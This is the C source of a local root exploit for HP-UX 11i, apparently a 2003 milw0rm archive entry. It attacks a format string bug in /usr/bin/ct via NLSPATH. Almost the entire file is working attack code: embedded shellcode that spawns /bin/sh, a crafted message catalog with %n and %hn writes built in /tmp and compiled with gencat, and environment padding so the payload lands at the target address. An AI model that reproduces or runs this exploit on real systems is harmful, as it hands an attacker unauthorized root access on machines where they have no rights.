103 lines
No EOL
2.8 KiB
C
103 lines
No EOL
2.8 KiB
C
/*******************************************************************************
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* File : x_hp-ux11i_nls_ct.c
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* Usage : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
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* Purpose : Get a local rootshell from /usr/bin/ct,using HP-UX location language format string bug.
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* Author : watercloud xfocus org
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* Tested : On HP-UX B11.11 .
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******************************************************************************/
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#include<stdio.h>
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#define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
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#define TERM "TERM=xterm"
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#define NLSPATH "NLSPATH=/tmp/.ex.cat"
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#define CMD "/usr/bin/ct abc_ "
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#define MSG "\$set 1\n1128 "
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#define PRT_ARG_NUM 2
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#define STACK_LEN 0x180
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#define ENV_BEGIN 0x40
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#define ENV_LEN 0x40
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#define LOW_STACK 0x210
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char buffer[512];
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char buff[72]=
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"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
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"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
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"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
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"/bin/shA";
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int * pint = (int *) &buff[56];
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unsigned int haddr = 0;
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unsigned int dstaddr = 0;
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int main(argc,argv,env)
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int argc;char ** argv;char **env;
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{
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unsigned int * pa = (unsigned int*)env;
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FILE * fp = NULL;
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int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4;
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int alig1= ENV_BEGIN - xnum*8;
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int alig2=0;
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int i=0;
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while(*pa != NULL)
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*pa++=0;
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if(strlen(CMD) >ENV_BEGIN-3)
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{
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printf("No enough space to alig our env!\n");
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exit(1);
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}
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printf("Exploite for HP-UX 11i NLS format bug by command ct.\n");
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printf("From watercloud@xfocus.org. 2003-1-4\n");
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printf(" Site : http://www.xfocus.net (CN).\n");
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printf(" Site : http://www.xfocus.org (EN).\n");
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haddr = (unsigned int)&fp & 0xffff0000;
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if(alig1 < 0)
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alig1+=0x10000;
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alig2 = (haddr >> 16) - alig1 -xnum*8 ;
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if(alig2 < 0)
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alig2+=0x10000;
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dstaddr= haddr+ LOW_STACK + STACK_LEN -24;
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*pint++=dstaddr;
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*pint++=dstaddr;
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*pint++=dstaddr;
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*pint = 0;
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/* begin to make our .cat file */
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fp = fopen("/tmp/.ex.k","w");
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if(fp == NULL)
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{
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printf("open file : /tmp/.ex.k for write error.\n");
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exit(1);
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}
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fprintf(fp,"%s",MSG);
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for(;i<xnum;i++)
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fprintf(fp,"%%.8x");
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fprintf(fp,"%%.%ix%%n",alig1);
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fprintf(fp,"%%.%ix%%hn",alig2);
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fclose(fp);
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fp = NULL;
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system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
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unlink("/tmp/.ex.k");
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sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
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putenv(buffer);
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putenv(PATH);
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putenv(TERM);
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putenv(NLSPATH);
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printf("¼ÇµÃɾ³ýÕâ¸öÁÙʱÎļþ(Remember to delete the file): /tmp/.ex.cat .\n");
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execl("/usr/bin/ct","/usr/bin/ct","abc_",0); /* ºÃÏ·¿ªÊ¼ÁË £º£© */
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}
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// milw0rm.com [2003-12-16]
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